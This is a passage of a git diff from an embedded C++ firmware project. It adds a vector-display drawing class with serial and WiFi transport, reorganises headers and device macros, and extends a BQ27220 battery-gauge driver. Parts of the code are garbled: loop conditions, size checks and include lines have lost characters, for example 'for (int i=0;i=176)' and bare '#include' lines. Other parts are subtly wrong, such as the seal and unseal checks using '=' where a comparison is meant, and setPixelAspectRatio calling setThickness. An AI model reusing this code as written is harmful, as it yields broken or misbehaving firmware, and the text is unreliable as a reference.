+ void point(int x, int y) {
+ args.twoByte[0] = x;
+ args.twoByte[1] = y;
+ sendCommand('P', &args, 4);
+ }
+
+ void arc(int x, int y, int r, FixedPoint32 angle1, FixedPoint32 sweep, bool fill=false) {
+ args.arc.x = x;
+ args.arc.y = y;
+ args.arc.r = r;
+ args.arc.angle1 = angle1;
+ args.arc.sweep = sweep;
+ args.arc.filled = fill ? 1 : 0;
+ sendCommand('S', &args, 15);
+ }
+
+ void arc(int x, int y, int r, float angle1, float sweep, bool fill=false) {
+ arc(x,y,r,TO_FP32(angle1),TO_FP32(sweep),fill);
+ }
+
+ // 32-bit fixed point
+ void textSize(FixedPoint32 s) {
+ args.attribute32.attr = 's';
+ args.attribute32.value = s;
+ sendCommand('B', &args, 5);
+ }
+
+ void text(int x, int y, const char* str, int n) {
+ args.xyText.x = x;
+ args.xyText.y = y;
+ if (n>VECTOR_DISPLAY_MAX_STRING)
+ n = VECTOR_DISPLAY_MAX_STRING;
+ strncpy(args.xyText.text, str, n);
+
+ if (fixCP437) {
+ for (int i=0;i=176)
+ args.xyText.text[i]++;
+ }
+ }
+ args.xyText.text[n] = 0;
+ sendCommand('T', &args, 4+strlen(args.xyText.text)+1);
+ }
+
+ void text(int x, int y, const char* str) {
+ text(x, y, str, strlen(str));
+ }
+
+ void text(int x, int y, String str) {
+ text(x,y,str.c_str(), str.length());
+ }
+
+ void deleteButton(uint8_t command) {
+ sendCommand('D', &command, 1);
+ }
+
+ void addButton(uint8_t command, const char* str) {
+ args.charText.c = command;
+ strncpy(args.charText.text, str, VECTOR_DISPLAY_MAX_STRING);
+ args.charText.text[VECTOR_DISPLAY_MAX_STRING] = 0;
+ sendCommand('U', &args, 1+strlen(args.charText.text)+1);
+ }
+
+ void addButton(uint8_t command, String str) {
+ addButton(command, str.c_str());
+ }
+
+ void toast(const char* str, unsigned n) {
+ if (VECTOR_DISPLAY_MAX_STRING < n)
+ n = VECTOR_DISPLAY_MAX_STRING;
+ strncpy(args.text, str, n);
+ args.text[n] = 0;
+ sendCommand('M', &args, n+1);
+ }
+
+ void toast(const char* str) {
+ toast(str, strlen(str));
+ }
+
+ void toast(String text) {
+ toast(text.c_str(), text.length());
+ }
+
+ void foreColor(uint32_t color) {
+ args.attribute32.attr = 'f';
+ args.attribute32.value = color;
+ sendCommand('B', &args, 5);
+ curForeColor565 = -1;
+ }
+
+ void backColor(uint32_t color) {
+ args.attribute32.attr = 'b';
+ args.attribute32.value = color;
+ sendCommand('B', &args, 5);
+ }
+
+ void textBackColor(uint32_t color) {
+ args.attribute32.attr = 'k';
+ args.attribute32.value = color;
+ sendCommand('B', &args, 5);
+ }
+
+ void textForeColor(uint32_t color) {
+ args.attribute32.attr = 'F';
+ args.attribute32.value = color;
+ sendCommand('B', &args, 5);
+ }
+
+ void foreColor565(uint16_t color) {
+ args.attribute16.attr = 'f';
+ args.attribute16.value = color;
+ sendCommand('A', &args, 3);
+ curForeColor565 = color;
+ }
+
+ void backColor565(uint16_t color) {
+ args.attribute16.attr = 'b';
+ args.attribute16.value = color;
+ sendCommand('A', &args, 3);
+ }
+
+ void textBackColor565(uint16_t color) {
+ args.attribute16.attr = 'k';
+ args.attribute16.value = color;
+ sendCommand('A', &args, 3);
+ }
+
+ void textForeColor565(uint16_t color) {
+ args.attribute16.attr = 'F';
+ args.attribute16.value = color;
+ sendCommand('A', &args, 3);
+ }
+
+ void rounded(uint8_t value) {
+ args.attribute8.attr = 'n';
+ args.attribute8.value = value ? 1 : 0;
+ sendCommand('Y', &args, 2);
+ }
+
+ void thickness(FixedPoint32 t) {
+ args.attribute32.attr = 't';
+ args.attribute32.value = t;
+ sendCommand('B', &args, 5);
+ }
+
+ void pixelAspectRatio(FixedPoint32 a) {
+ args.attribute32.attr = 'a';
+ args.attribute32.value = a;
+ sendCommand('B', &args, 5);
+ }
+
+#ifdef SUPPORT_FLOATING_POINT
+ inline void setThickness(double thickness) {
+ setThickness(TO_FP32(thickness));
+ }
+
+ inline void setPixelAspectRatio(double aspect) {
+ setThickness(TO_FP32(aspect));
+ }
+#endif
+
+ void clear() {
+ sendCommand('C', NULL, 0);
+ }
+
+ void update() {
+ sendCommand('F', NULL, 0);
+ }
+
+/* void reset() {
+ sendCommandWithAck('E', NULL, 0);
+ } */
+
+ void coordinates(int width, int height) {
+ args.attribute16x2.attr = 'c';
+ curWidth = width;
+ curHeight = height;
+ args.attribute16x2.values[0] = width;
+ args.attribute16x2.values[1] = height;
+ sendCommandWithAck('B', &args, 5);
+ }
+
+ void continuousUpdate(bool value) {
+ args.attribute8.attr = 'c';
+ args.attribute8.value = value ? 1 : 0;
+ sendCommand('Y', &args, 2);
+ }
+
+ void textHorizontalAlign(char hAlign) {
+ args.attribute8.attr = 'h';
+ args.attribute8.value = hAlign;
+ sendCommand('Y', &args, 2);
+ }
+
+ void textVerticalAlign(char hAlign) {
+ args.attribute8.attr = 'v';
+ args.attribute8.value = hAlign;
+ sendCommand('Y', &args, 2);
+ }
+
+ void textOpaqueBackground(bool opaque) {
+ args.attribute8.attr = 'o';
+ args.attribute8.value = opaque ? 1 : 0;
+ sendCommand('Y', &args, 2);
+ }
+
+ void textBold(bool bold) {
+ args.attribute8.attr = 'b';
+ args.attribute8.value = bold ? 1 : 0;
+ sendCommand('Y', &args, 2);
+ }
+
+ bool isTouchDown() {
+ return pointerDown;
+ }
+
+ int getTouchX() {
+ return pointerX;
+ }
+
+ int getTouchY() {
+ return pointerY;
+ }
+
+ bool readMessage(VectorDisplayMessage* msg) {
+ while (remoteAvailable()) {
+ uint8_t c = remoteRead();
+
+ if (0 < readPos && millis()-lastMessageStart > MESSAGE_TIMEOUT)
+ readPos = 0;
+
+ if (2 <= readPos) {
+ readBuf[readPos++] = c;
+ if (readPos >= VECTOR_DISPLAY_MESSAGE_SIZE) {
+ readPos = 0;
+ if (msg != NULL)
+ memcpy(msg, readBuf, sizeof(VectorDisplayMessage));
+ else
+ msg = (VectorDisplayMessage*)readBuf;
+
+ if (msg->what == MESSAGE_DOWN || msg->what == MESSAGE_UP || msg->what == MESSAGE_MOVE) {
+ pointerDown = msg->what != MESSAGE_UP;
+ pointerX = msg->data.xy.x;
+ pointerY = msg->data.xy.y;
+ }
+ return true;
+ }
+ continue;
+ }
+
+ if (1 <= readPos) {
+ if ( (*readBuf == 'U' && c == 'P') ||
+ (*readBuf == 'D' && c == 'N') ||
+ (*readBuf == 'M' && c == 'V') ||
+ (*readBuf == 'B' && c == 'T') ||
+ (*readBuf == 'A' && c == 'c')
+ ) {
+ readBuf[readPos++] = c;
+ continue;
+ }
+ readPos = 0;
+ }
+ if (readPos == 0 && (c == 'U' || c == 'D' || c == 'M' || c == 'B' || c == 'A')) {
+ readBuf[readPos++] = c;
+ lastMessageStart = millis();
+ }
+ }
+ return false;
+ }
+
+ uint32_t color565To8888(uint16_t c) {
+ return 0xFF000000 | ((((c>>11) & 0x1F) * 255 / 0x1F) << 16) | ((((c>>5) & 0x3F) * 255 / 0x3F) << 8) | ((c & 0x1F) * 255 / 0x1F);
+ }
+
+ uint16_t color565(uint8_t r, uint8_t g, uint8_t b) {
+ return ((r & 0xF8) << 8) | ((g & 0xFC) << 3) | (b >> 3);
+ }
+
+ uint32_t getBitmap1Size(int16_t w, int16_t h, uint8_t flags=0) {
+ return (flags & FLAG_PAD_BYTE) ? ((uint32_t)w+7)/8*h : ((uint32_t)w*h+7)/8;
+ }
+
+ uint32_t getBitmapSize(int16_t w, int16_t h, uint8_t depth=1, uint8_t flags=0) {
+ if (depth==1) {
+ return getBitmap1Size(w,h,flags);
+ }
+ else {
+ return w*h*(depth/8);
+ }
+ }
+
+ /*TODO: stubs*/
+ void* createSprite(int16_t width, int16_t height, uint8_t frames = 1) { return NULL; }
+ void pushSprite(int32_t x, int32_t y) {}
+ void deleteSprite(void) {}
+ void fillSprite(uint32_t color) {}
+
+ void bitmap_progmem(int16_t x, int16_t y, const uint8_t* bmp,
+ int16_t w, int16_t h, uint8_t depth=1, uint8_t flags=0, const uint8_t* mask=NULL,
+ uint32_t foreColor=0xFFFFFFFF,
+ uint32_t backColor=0x00FFFFFF) /* PROGMEM */ {
+ if (mask != NULL)
+ flags |= FLAG_HAVE_MASK;
+ uint32_t bitmapSize = getBitmapSize(w,h,depth,flags);
+ int headerSize = depth==1 ? 22 : 14;
+ uint32_t maskSize = mask == NULL ? 0 : getBitmap1Size(w,h,flags);
+ uint32_t fullSize = bitmapSize + headerSize + maskSize;
+
+ if (fullSize + 1 > MAX_BUFFER)
+ return;
+
+ sendDelay();
+ remoteWrite('K');
+ remoteWrite('K'^0xFF);
+ args.bitmap.length = fullSize;
+ args.bitmap.depth = 1;
+ args.bitmap.flags = flags;
+ args.bitmap.x = x;
+ args.bitmap.y = y;
+ args.bitmap.w = w;
+ args.bitmap.h = h;
+ if (depth == 1) {
+ args.bitmap.foreColor = foreColor;
+ args.bitmap.backColor = backColor;
+ }
+
+ uint8_t sum = sumBytes(&args, headerSize);
+ remoteWrite(&args,headerSize);
+ for (uint32_t i=0; i MAX_BUFFER)
+ return;
+
+ sendDelay();
+ remoteWrite('K');
+ remoteWrite('K'^0xFF);
+ args.bitmap.length = fullSize;
+ args.bitmap.depth = depth;
+ args.bitmap.flags = flags;
+ args.bitmap.x = x;
+ args.bitmap.y = y;
+ args.bitmap.w = w;
+ args.bitmap.h = h;
+ if (depth == 1) {
+ args.bitmap.foreColor = foreColor;
+ args.bitmap.backColor = backColor;
+ }
+ remoteWrite(&args,headerSize);
+ remoteWrite(bmp,bitmapSize);
+ uint8_t sum = sumBytes(&args, headerSize) + sumBytes((void*)bmp, bitmapSize);
+ if (maskSize > 0) {
+ remoteWrite(mask,maskSize);
+ sum += sumBytes((void*)mask, maskSize);
+ }
+ remoteWrite(sum^0xFF);
+ }
+
+ void utf8() {
+ fixCP437 = false;
+ args.attribute8.attr = 'i';
+ args.attribute8.value = 0;
+ sendCommand('Y', &args, 2);
+ }
+
+ /* The following are meant to be compatible with Adafruit GFX */
+ void cp437(bool s) {
+ // if true, activates real cp437 mode; if false, activates buggy Arduino compatible cp437 mode
+ fixCP437 = !s;
+ args.attribute8.attr = 'i';
+ args.attribute8.value = 1;
+ sendCommand('Y', &args, 2);
+ }
+
+ void setRotation(uint8_t r) {
+ args.attribute8.attr = 'r';
+ args.attribute8.value = r;
+ curRotation = r & 3;
+ sendCommand('Y', &args, 2);
+ }
+
+ void setTextSize(uint8_t size) {
+ gfxFontSize = size;
+ textsize = size;
+ textSize((FixedPoint32)size * 8 * 65536);
+ }
+
+ void setTextDatum(uint8_t d) { } // mockup
+
+ void setTextColor(uint16_t f, uint16_t b) {
+ textBackColor565(b);
+ textForeColor565(f);
+ textcolor = f;
+ textbgcolor = b;
+ textOpaqueBackground(true);
+ }
+
+ void setTextColor(uint16_t f) {
+ textForeColor565(f);
+ textcolor = f;
+ textOpaqueBackground(false);
+ }
+
+ void setCursor(int16_t x, int16_t y) {
+ curx = x;
+ cury = y;
+ }
+
+
+ int16_t getCursorX(void) {
+ return curx;
+ }
+
+ int16_t getCursorY(void) {
+ return cury;
+ }
+
+ void setTextWrap(bool w) {
+ wrap = w;
+ }
+
+ int16_t drawRightString(const char *string, int32_t x, int32_t y, uint8_t font) {
+ // TODO: add spaces
+ return drawString(string, x, y);
+ }
+
+ int16_t drawRightString(const String& string, int32_t x, int32_t y, uint8_t font) {
+ return drawRightString(string.c_str(), x, y, font);
+ }
+
+ int16_t drawCentreString(const char *string, int32_t x, int32_t y, uint8_t font) {
+ // TODO: add spaces
+ return drawString(string, x, y);
+ }
+
+
+ int16_t drawCentreString(const String& string, int32_t x, int32_t y, uint8_t font) {
+ return drawCentreString(string.c_str(), x, y, font);
+ }
+
+ int16_t drawString(const String& string, int32_t x, int32_t y) {
+ return drawString(string.c_str(), x, y);
+ }
+
+ int16_t drawString(const char *string, int32_t x, int32_t y) {
+ setCursor(x, y);
+ return write(string);
+ };
+
+ int16_t drawChar(uint16_t uniCode, int32_t x, int32_t y) {
+ setCursor(x, y);
+ return write(uniCode);
+ }
+
+ // TODO: fix back color handling
+ size_t write(uint8_t c) override {
+ if (wrap && curx + 5*gfxFontSize>width()) {
+ curx = 0;
+ cury += 8*gfxFontSize;
+ }
+ text(curx, cury, (char*)&c, 1);
+ curx += 5*gfxFontSize;
+ return 0;
+ }
+
+ // TODO: fix back color handling
+ size_t write(const char* s) /*override*/ { //ESP8266 core doesn't supply write(const char*)
+ int l = strlen(s);
+ int w = width();
+ if (!wrap || curx + 5*gfxFontSize*l <= w) {
+ text(curx, cury, s);
+ curx += 5*gfxFontSize*l;
+ }
+ else {
+ while(l>0) {
+ int end = ((int)w-curx)/(5*gfxFontSize);
+ if (end <= 0) {
+ curx = 0;
+ cury += 8*gfxFontSize;
+ end = w/(5*gfxFontSize);
+ }
+ if (end > l)
+ end = l;
+ text(curx, cury, s, end);
+ l-=end;
+ s += end;
+ curx = 5*gfxFontSize*end;
+ }
+ }
+ return 0;
+ }
+
+ void drawPixel(int16_t x, int16_t y, uint16_t color) {
+ if (color != curForeColor565) {
+ foreColor565(color);
+ }
+ point(x, y);
+ }
+
+ void drawRect(int16_t x, int16_t y, int16_t w, int16_t h, uint16_t color) {
+ if (color != curForeColor565) {
+ foreColor565(color);
+ }
+ rectangle(x,y,x+w-1,y+h-1);
+ }
+
+ void fillRect(int16_t x, int16_t y, int16_t w, int16_t h, uint16_t color) {
+ if (color != curForeColor565) {
+ foreColor565(color);
+ }
+ fillRectangle(x,y,x+w-1,y+h-1);
+ }
+
+ void drawFastHLine(int16_t x, int16_t y, int16_t w, uint16_t color) {
+ if (color != curForeColor565) {
+ foreColor565(color);
+ }
+ line(x,y,x+w,y);
+ }
+
+ void drawLine(int16_t x, int16_t y, int16_t x2, int16_t y2, uint16_t color) {
+ if (color != curForeColor565) {
+ foreColor565(color);
+ }
+ line(x,y,x2,y2);
+ }
+
+
+ // Draw an anti-aliased wide line from ax,ay to bx,by width wd with radiused ends (radius is wd/2)
+ // If bg_color is not included the background pixel colour will be read from TFT or sprite
+ void drawWideLine(float ax, float ay, float bx, float by, float wd, uint32_t fg_color, uint32_t bg_color = 0x00FFFFFF) {
+ drawRect(ax, ay, wd, abs(ay-by), fg_color);
+ }
+
+ // As per "drawSmoothArc" except the ends of the arc are NOT anti-aliased, this facilitates dynamic arc length changes with
+ // arc segments and ensures clean segment joints.
+ // The sides of the arc are anti-aliased by default. If smoothArc is false sides will NOT be anti-aliased
+ void drawArc(int32_t x, int32_t y, int32_t r, int32_t ir, uint32_t startAngle, uint32_t endAngle, uint32_t fg_color, uint32_t bg_color, bool smoothArc = true){
+ // TODO
+ drawRect(x, y, r*2, ir*2, fg_color);
+ }
+
+ void drawSmoothArc(int32_t x, int32_t y, int32_t r, int32_t ir, uint32_t startAngle, uint32_t endAngle, uint32_t fg_color, uint32_t bg_color, bool roundEnds = false) {
+ drawArc(x, y, r, ir, startAngle, endAngle, fg_color, bg_color);
+ }
+
+ // Draw an anti-aliased filled circle at x, y with radius r
+ // If bg_color is not included the background pixel colour will be read from TFT or sprite
+ void fillSmoothCircle(int32_t x, int32_t y, int32_t r, uint32_t color, uint32_t bg_color = 0x00FFFFFF) {
+ fillCircle(x, y, r, color) ;
+ }
+
+ void drawSmoothRoundRect(int32_t x, int32_t y, int32_t r, int32_t ir, int32_t w, int32_t h, uint32_t fg_color, uint32_t bg_color = 0x00FFFFFF, uint8_t quadrants = 0xF) {
+ drawRoundRect(x, y, w, h, r, fg_color);
+ }
+
+ // Draw a filled rounded rectangle , corner radius r and bounding box defined by x,y and w,h
+ void fillSmoothRoundRect(int32_t x, int32_t y, int32_t w, int32_t h, int32_t radius, uint32_t color, uint32_t bg_color = 0x00FFFFFF) {
+ fillRoundRect(x, y, w, h, radius, color);
+ }
+
+
+ void drawFastVLine(int16_t x, int16_t y, int16_t h, uint16_t color) {
+ if (color != curForeColor565) {
+ foreColor565(color);
+ }
+ line(x,y,x,y+h);
+ }
+
+ void fillScreen(uint16_t color) {
+ backColor565(color);
+ clear();
+ backColor(0xFF000000);
+ }
+
+ void drawCircle(int16_t x, int16_t y, int16_t r, uint16_t color) {
+ if (color != curForeColor565) {
+ foreColor565(color);
+ }
+ circle(x,y,r);
+ }
+
+ void fillCircle(int16_t x, int16_t y, int16_t r, uint16_t color) {
+ if (color != curForeColor565) {
+ foreColor565(color);
+ }
+ fillCircle(x,y,r);
+ }
+
+ void drawEllipse(int16_t x, int16_t y, int32_t rx, int32_t ry, uint16_t color) {
+ }
+ void fillEllipse(int16_t x, int16_t y, int32_t rx, int32_t ry, uint16_t color) {
+ // TODO
+ if(rx0) {
+ rectangle(cx-r,cy,cx,cy+delta,false);
+ rectangle(cx-r,cy,cx,cy+delta,true);
+ }
+ }
+ if (corners & 1) {
+ arc(cx,cy,r,TO_FP32(270),TO_FP32(180),false); // drawing edges separately makes things fit better
+ arc(cx,cy,r,TO_FP32(270),TO_FP32(180),true);
+ arc(cx,cy+delta,r,TO_FP32(270),TO_FP32(180),false);
+ arc(cx,cy+delta,r,TO_FP32(270),TO_FP32(180),true);
+ if (delta>0) {
+ rectangle(cx,cy,cx+r,cy+delta,false);
+ rectangle(cx,cy,cx+r,cy+delta,true);
+ }
+ }
+ }
+
+ void pushImage(int32_t x, int32_t y, int32_t w, int32_t h, uint16_t *data) {};
+ void pushImage(int32_t x, int32_t y, int32_t w, int32_t h, uint16_t *data, uint16_t transparent) {};
+
+ void setAddrWindow(int32_t xs, int32_t ys, int32_t w, int32_t h) {};
+ void pushPixels(const void * data_in, uint32_t len) {};
+
+ void startWrite(void) {};
+ void endWrite(void) {};
+
+
+ /* the following Adafruit GFX APIs are not implemented at present */
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wunused-parameter"
+ void drawChar(int16_t x, int16_t y, unsigned char c, uint16_t color,
+ uint16_t bg, uint8_t size) {}
+ void setFont(const void /*GFXfont*/ *f = NULL) {}
+ void getTextBounds(const char *string, int16_t x, int16_t y,
+ int16_t *x1, int16_t *y1, uint16_t *w, uint16_t *h) {}
+ void getTextBounds(const void /*__FlashStringHelper*/ *s, int16_t x, int16_t y,
+ int16_t *x1, int16_t *y1, uint16_t *w, uint16_t *h) {}
+#pragma GCC diagnostic pop
+};
+
+class SerialDisplayClass : public VectorDisplayClass {
+ private:
+ Stream& s;
+ const bool doSerialBegin;
+
+ public:
+ virtual int remoteRead() override {
+ //return s.read();
+ return('A');
+ }
+
+ virtual void remoteWrite(uint8_t c) override {
+ //s.write(c);
+ }
+
+ virtual void remoteWrite(const void* data, size_t n) override {
+ //s.write((uint8_t*)data, n);
+ }
+
+ /* only works with the Serial object; do not call externally without it */
+ void begin(uint32_t speed, int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) {
+#ifndef NO_SERIAL
+ if (doSerialBegin) {
+ Serial.begin(speed);
+ while(!Serial) ;
+ }
+#endif
+ VectorDisplayClass::begin(width, height);
+ }
+
+ bool getSwapBytes(void) { return false; } // stub
+ void setSwapBytes(bool swap) { return; } // stub
+
+ virtual void begin(int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) override {
+ begin(115200, width, height);
+ }
+
+ virtual size_t remoteAvailable() override {
+ return s.available();
+ }
+
+#ifndef NO_SERIAL
+ SerialDisplayClass() : s(Serial), doSerialBegin(true) {}
+#endif
+
+ SerialDisplayClass(Stream& _s) : s(_s), doSerialBegin(false) {}
+};
+
+#ifdef ESP8266
+class WiFiDisplayClass : public SerialDisplayClass {
+ private:
+ WiFiClient client;
+ public:
+ bool begin(const char* host, int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) {
+ VectorDisplayClass::begin(width, height);
+ return client.connect(host, 7788);
+ }
+
+ virtual void end() override {
+ VectorDisplayClass::end();
+ client.stop();
+ }
+
+ WiFiDisplayClass() : SerialDisplayClass(client) {
+ }
+};
+#endif
+
+#endif
diff --git a/src/core/globals.h b/include/globals.h
similarity index 86%
rename from src/core/globals.h
rename to include/globals.h
index 4c78510b..d159e7ff 100644
--- a/src/core/globals.h
+++ b/include/globals.h
@@ -1,6 +1,6 @@
#pragma once
-#include "precompiler_flags.h"
-#include "interface.h"
+#include
+#include
// Globals.h
#define ALCOLOR TFT_RED
@@ -14,8 +14,8 @@
#include
#include
#include
-#include "config.h"
-#include "startup_app.h"
+#include "core/config.h"
+#include "core/startup_app.h"
#if defined(HAS_RTC)
#include "../lib/RTC/cplus_RTC.h"
@@ -28,12 +28,17 @@
extern TFT_eSprite sprite;
extern TFT_eSprite draw;
#else
- #include "VectorDisplay.h"
+ #include
extern SerialDisplayClass tft;
extern SerialDisplayClass& sprite;
extern SerialDisplayClass& draw;
#endif
+#ifdef USE_BQ27220_VIA_I2C
+ #include
+ extern BQ27220 bq;
+#endif
+
extern bool interpreter_start;
extern BruceConfig bruceConfig;
@@ -55,6 +60,9 @@ extern bool sdcardMounted; // inform if SD Cardis active or not
extern bool wifiConnected; // inform if wifi is active or not
+extern volatile int tftWidth;
+extern volatile int tftHeight;
+
extern String wifiIP;
extern bool BLEConnected; // inform if BLE is active or not
@@ -86,12 +94,6 @@ extern String cachedPassword;
extern unsigned long previousMillis;
extern bool isSleeping;
extern bool isScreenOff;
-
-void backToMenu();
-
-void updateTimeStr(struct tm timeInfo);
-
extern bool dimmer;
-void setup_gpio();
-
+void setup_gpio();
\ No newline at end of file
diff --git a/ports/_New-Device-Model/interface.h b/include/interface.h
similarity index 100%
rename from ports/_New-Device-Model/interface.h
rename to include/interface.h
diff --git a/src/core/precompiler_flags.h b/include/precompiler_flags.h
similarity index 97%
rename from src/core/precompiler_flags.h
rename to include/precompiler_flags.h
index a9466682..ccc217e5 100644
--- a/src/core/precompiler_flags.h
+++ b/include/precompiler_flags.h
@@ -37,11 +37,11 @@
#ifndef ROTATION
#define ROTATION 1
#endif
-#ifndef WIDTH
- #define WIDTH 240
+#ifndef TFT_WIDTH
+ #define TFT_WIDTH 240
#endif
-#ifndef HEIGHT
- #define HEIGHT 135
+#ifndef TFT_HEIGHT
+ #define TFT_HEIGHT 135
#endif
// Default initializers
diff --git a/lib/M5GFX/src/M5GFX.cpp b/lib/M5GFX/src/M5GFX.cpp
index 7ec726b2..b960e755 100644
--- a/lib/M5GFX/src/M5GFX.cpp
+++ b/lib/M5GFX/src/M5GFX.cpp
@@ -846,7 +846,7 @@ namespace m5gfx
// fore Core2 1st gen (AXP192)
// AXP192_LDO2 = LCD PWR
// AXP192_IO4 = LCD RST
- // AXP192_DC3 = LCD BL (Core2)
+ // AXP192_DC3 = LCD BL (ARDUINO_M5STACK_CORE2)
// AXP192_LDO3 = LCD BL (Tough)
// AXP192_IO1 = TP RST (Tough)
static constexpr uint8_t reg_data_axp192_first[] = {
diff --git a/lib/M5GFX/src/lgfx/v1/LGFXBase.hpp b/lib/M5GFX/src/lgfx/v1/LGFXBase.hpp
index e52359c6..da1ac21a 100644
--- a/lib/M5GFX/src/lgfx/v1/LGFXBase.hpp
+++ b/lib/M5GFX/src/lgfx/v1/LGFXBase.hpp
@@ -61,8 +61,12 @@ namespace lgfx
public:
LGFXBase(void) = default;
virtual ~LGFXBase(void) = default;
- static constexpr uint16_t tftwidth = WIDTH;
- static constexpr uint16_t tftheight = HEIGHT;
+ static constexpr uint16_t tftwidth = TFT_HEIGHT;
+ #ifdef HAS_TOUCH
+ static constexpr uint16_t tftheight = TFT_WIDTH-20;
+ #else
+ static constexpr uint16_t tftheight = TFT_WIDTH;
+ #endif
static constexpr uint16_t textsize = 2;
static constexpr uint16_t textcolor = TFT_GREEN;
static constexpr uint16_t textbgcolor = TFT_BLACK;
diff --git a/lib/TFT_eSPI/TFT_Drivers/ILI9341_Init.h b/lib/TFT_eSPI/TFT_Drivers/ILI9341_Init.h
index 5bb75ec8..3241724b 100644
--- a/lib/TFT_eSPI/TFT_Drivers/ILI9341_Init.h
+++ b/lib/TFT_eSPI/TFT_Drivers/ILI9341_Init.h
@@ -4,7 +4,7 @@
// This setup information uses simple 8-bit SPI writecommand() and writedata() functions
//
// See ST7735_Setup.h file for an alternative format
-#if defined(CORE2)
+#if defined(ARDUINO_M5STACK_CORE2)
{
writecommand(0xC8);
writedata(0xFF);
diff --git a/lib/utility/Keyboard.cpp b/lib/utility/Keyboard.cpp
index cc4fe92c..c1d89680 100644
--- a/lib/utility/Keyboard.cpp
+++ b/lib/utility/Keyboard.cpp
@@ -1,4 +1,4 @@
-#ifdef CARDPUTER
+#ifdef ARDUINO_M5STACK_CARDPUTER
/**
* @file keyboard.cpp
* @author Forairaaaaa
diff --git a/lib/utility/Keyboard.h b/lib/utility/Keyboard.h
index c8d3f0d5..c7c9d461 100644
--- a/lib/utility/Keyboard.h
+++ b/lib/utility/Keyboard.h
@@ -1,4 +1,4 @@
-#ifdef CARDPUTER
+#ifdef ARDUINO_M5STACK_CARDPUTER
/**
* @file keyboard.h
* @author Forairaaaaa
@@ -13,7 +13,6 @@
#include
#include
#include "Arduino.h"
-#include "Keyboard_def.h"
struct Chart_t
{
diff --git a/lib/utility/bq27220.cpp b/lib/utility/bq27220.cpp
index d1dff254..f52f4f82 100644
--- a/lib/utility/bq27220.cpp
+++ b/lib/utility/bq27220.cpp
@@ -2,6 +2,36 @@
BQ27220::BQ27220() : addr{BQ27220_I2C_ADDRESS}, wire(&Wire), scl(BQ27220_I2C_SCL), sda(BQ27220_I2C_SDA) {}
+bool BQ27220::unseal()
+{
+ OP_STATUS status;
+
+ writeCtrlWord(BQ27220_UNSEAL_KEY1);
+ delayMicroseconds(5000);
+ writeCtrlWord(BQ27220_UNSEAL_KEY2);
+ delayMicroseconds(5000);
+ status = OP_STATUS(readWord(BQ27220_CONTROL_CONTROL_STATUS));
+ if(status = OP_STATUS::UNSEALED)
+ {
+ return true;
+ }
+ return false;
+}
+
+bool BQ27220::seal()
+{
+ OP_STATUS status;
+
+ writeCtrlWord(BQ27220_CONTROL_SEALED);
+ delayMicroseconds(5000);
+ status = OP_STATUS(readWord(BQ27220_CONTROL_CONTROL_STATUS));
+ if(status = OP_STATUS::SEALED)
+ {
+ return true;
+ }
+ return false;
+}
+
uint16_t BQ27220::getTemp()
{
return readWord(BQ27220_COMMAND_TEMP);
@@ -19,6 +49,11 @@ bool BQ27220::getIsCharging(void)
return !bat_st.st.DSG;
}
+uint16_t BQ27220::getTimeToEmpty()
+{
+ return readWord(BQ27220_COMMAND_TTE);
+}
+
uint16_t BQ27220::getRemainCap()
{
return readWord(BQ27220_COMMAND_REMAIN_CAPACITY);
@@ -34,6 +69,16 @@ uint16_t BQ27220::getChargePcnt(void)
return readWord(BQ27220_COMMAND_STATE_CHARGE);
}
+uint16_t BQ27220::getAvgPower(void)
+{
+ return readWord(BQ27220_COMMAND_AVG_PWR);
+}
+
+uint16_t BQ27220::getStandbyCur(void)
+{
+ return readWord(BQ27220_COMMAND_STANDBY_CURR);
+}
+
uint16_t BQ27220::getVolt(VOLT_MODE type)
{
switch (type)
@@ -106,6 +151,18 @@ uint16_t BQ27220::readCtrlWord(uint16_t fun)
return 0;
}
+
+uint16_t BQ27220::writeCtrlWord(uint16_t fun)
+{
+ uint8_t msb = (fun >> 8);
+ uint8_t lsb = (fun & 0x00FF);
+ uint8_t cmd[2] = {lsb, msb};
+ uint8_t data[2] = {0};
+
+ i2cWriteBytes((uint8_t)BQ27220_COMMAND_CONTROL, cmd, 2);
+ return 0;
+}
+
bool BQ27220::i2cReadBytes(uint8_t subAddress, uint8_t *dest, uint8_t count)
{
wire->beginTransmission(addr);
diff --git a/lib/utility/bq27220.h b/lib/utility/bq27220.h
index c561431c..413fcc1b 100644
--- a/lib/utility/bq27220.h
+++ b/lib/utility/bq27220.h
@@ -1,3 +1,6 @@
+#ifndef __BQ27220_H__
+#define __BQ27220_H__
+
#define BQ27220_I2C_ADDRESS 0x55 // device addr
#define BQ27220_I2C_SDA
#define BQ27220_I2C_SCL
@@ -68,6 +71,12 @@
#include
#include
+typedef enum OP_STATUS{
+ SEALED = 0b11,
+ UNSEALED = 0b10,
+ FULL = 0b01,
+};
+
enum CURR_MODE
{
CURR_RAW,
@@ -112,12 +121,17 @@ class BQ27220
{
public:
BQ27220();
+ bool unseal();
+ bool seal();
uint16_t getTemp();
uint16_t getBatterySt(void);
bool getIsCharging(void);
uint16_t getRemainCap();
+ uint16_t getTimeToEmpty();
uint16_t getFullChargeCap(void);
uint16_t getChargePcnt(void);
+ uint16_t getAvgPower(void);
+ uint16_t getStandbyCur(void);
uint16_t getVolt(VOLT_MODE type);
int16_t getCurr(CURR_MODE type);
uint16_t getId();
@@ -132,4 +146,7 @@ class BQ27220
bool i2cWriteBytes(uint8_t subAddress, uint8_t *src, uint8_t count);
uint16_t readWord(uint16_t subAddress);
uint16_t readCtrlWord(uint16_t fun);
-};
\ No newline at end of file
+ uint16_t writeCtrlWord(uint16_t fun);
+};
+
+#endif
\ No newline at end of file
diff --git a/media/pcbs/TH3_KR4K3N/pcb_back.jpg b/media/pcbs/TH3_KR4K3N/pcb_back.jpg
deleted file mode 100644
index 698aadcd..00000000
Binary files a/media/pcbs/TH3_KR4K3N/pcb_back.jpg and /dev/null differ
diff --git a/media/pcbs/smoochie/Bruce_PCB_full.png b/media/pcbs/smoochie/Bruce_PCB_full.png
deleted file mode 100644
index 428693e0..00000000
Binary files a/media/pcbs/smoochie/Bruce_PCB_full.png and /dev/null differ
diff --git a/media/pcbs/smoochie/back.png b/media/pcbs/smoochie/back.png
deleted file mode 100644
index a05573f2..00000000
